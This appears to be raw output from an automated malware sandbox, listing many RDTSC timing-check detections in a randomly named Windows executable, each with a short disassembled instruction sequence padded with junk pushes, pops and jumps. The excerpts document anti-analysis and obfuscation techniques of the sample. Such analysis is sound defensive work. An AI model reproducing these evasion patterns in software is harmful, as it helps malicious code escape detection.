Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46E88 second address: E46E94 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C24FD04C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E47011 second address: E47016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E47016 second address: E47020 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C24FD04CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E3C205 second address: E3C209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E3C209 second address: E3C276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8C24FD04D5h 0x0000000e jmp 00007F8C24FD04CEh 0x00000013 popad 0x00000014 jmp 00007F8C24FD04D0h 0x00000019 jmp 00007F8C24FD04D5h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F8C24FD04D8h 0x00000026 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E478AE second address: E478CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F8C2504F386h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F8C2504F388h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E478CB second address: E478DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8C24FD04C6h 0x0000000a jnp 00007F8C24FD04C6h 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E1B495 second address: E1B49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E52F94 second address: E52FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C24FD04D8h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5310E second address: E5311F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jng 00007F8C2504F386h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E54022 second address: E54026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5460A second address: E54610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E54E19 second address: E54E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E54E1F second address: E54E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E54E24 second address: E54E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C24FD04D6h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E550E6 second address: E55101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C2504F391h 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E55101 second address: E55105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E551CD second address: E551DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F8C2504F386h 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E551DD second address: E551EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F8C24FD04C6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E552A2 second address: E552AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C2504F386h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E552AD second address: E552C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8C24FD04C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F8C24FD04C8h 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E552C4 second address: E552D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C2504F38Ch 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E557B4 second address: E557C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E59FC4 second address: E5A06C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F8C2504F390h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F8C2504F388h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F8C2504F388h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov edi, 04EF873Ch 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f push esi 0x00000050 call 00007F8C2504F38Ch 0x00000055 pop edi 0x00000056 pop esi 0x00000057 pop esi 0x00000058 or dword ptr [ebp+122D1A1Ah], edx 0x0000005e push eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F8C2504F397h 0x00000067 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5B6EE second address: E5B6F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5C135 second address: E5C139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5C139 second address: E5C159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F8C24FD04D2h 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5C159 second address: E5C15E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E56AA0 second address: E56AA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E56AA6 second address: E56AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E56AAB second address: E56AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E66CBD second address: E66CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67B8D second address: E67B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67B91 second address: E67B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67B97 second address: E67C09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov bx, 136Dh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F8C24FD04C8h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov ebx, 779BDF11h 0x00000031 mov dword ptr [ebp+12478474h], edx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F8C24FD04C8h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jp 00007F8C24FD04C6h 0x0000005e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67C09 second address: E67C0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67C0F second address: E67C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67C15 second address: E67C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E67C19 second address: E67C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E68B7D second address: E68B83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E68B83 second address: E68B8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8C24FD04C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E69BBA second address: E69BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C2504F395h 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6BAF7 second address: E6BB60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D2A3Dh], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F8C24FD04C8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c cld 0x0000002d sub edi, dword ptr [ebp+122D3A7Ah] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F8C24FD04C8h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D2160h], esi 0x00000055 push eax 0x00000056 jo 00007F8C24FD04EBh 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6BB60 second address: E6BB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CBDD second address: E6CBE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6CBE1 second address: E6CBFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F398h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6F141 second address: E6F145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6F145 second address: E6F153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E6F153 second address: E6F15D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C24FD04CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E701BA second address: E701CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 jng 00007F8C2504F394h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E711B2 second address: E711BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C24FD04CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7226C second address: E72270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E72270 second address: E7227A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E733DF second address: E7341C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov di, B3CAh 0x00000011 push 00000000h 0x00000013 mov ebx, edi 0x00000015 add dword ptr [ebp+122D326Ch], edi 0x0000001b push 00000000h 0x0000001d xor di, A7AFh 0x00000022 xchg eax, esi 0x00000023 push ecx 0x00000024 jmp 00007F8C2504F38Bh 0x00000029 pop ecx 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jo 00007F8C2504F386h 0x00000034 push edx 0x00000035 pop edx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E742D7 second address: E742DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E742DB second address: E742E9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C2504F386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E742E9 second address: E742ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7C8E2 second address: E7C8EC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C2504F386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7C8EC second address: E7C8F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7CB77 second address: E7CBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8C2504F386h 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007F8C2504F386h 0x00000012 jmp 00007F8C2504F38Ch 0x00000017 jmp 00007F8C2504F397h 0x0000001c jmp 00007F8C2504F390h 0x00000021 popad 0x00000022 popad 0x00000023 jp 00007F8C2504F3C0h 0x00000029 jnp 00007F8C2504F395h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F8C2504F391h 0x00000036 jnp 00007F8C2504F386h 0x0000003c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7CD54 second address: E7CD60 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7CD60 second address: E7CD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7CD66 second address: E7CD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E7CD6A second address: E7CD6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E80296 second address: E802DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8C24FD04C6h 0x00000009 jmp 00007F8C24FD04CFh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F8C24FD04D0h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push esi 0x0000001c jnp 00007F8C24FD04CCh 0x00000022 pop esi 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pushad 0x00000029 popad 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E864E1 second address: E864FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8C2504F390h 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E868DB second address: E868E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C24FD04C6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E868E5 second address: E86945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F8C2504F386h 0x00000010 jp 00007F8C2504F386h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pushad 0x0000001b pushad 0x0000001c jmp 00007F8C2504F394h 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F8C2504F392h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F8C2504F391h 0x00000032 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E86DA1 second address: E86DC5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8C24FD04D6h 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E86DC5 second address: E86DCF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C2504F386h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E86DCF second address: E86DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8C24FD04CBh 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E86F0E second address: E86F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8B686 second address: E8B68A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E19B84 second address: E19B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E19B88 second address: E19B8E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E8A566 second address: E8A583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F398h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5EA5A second address: E5EA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
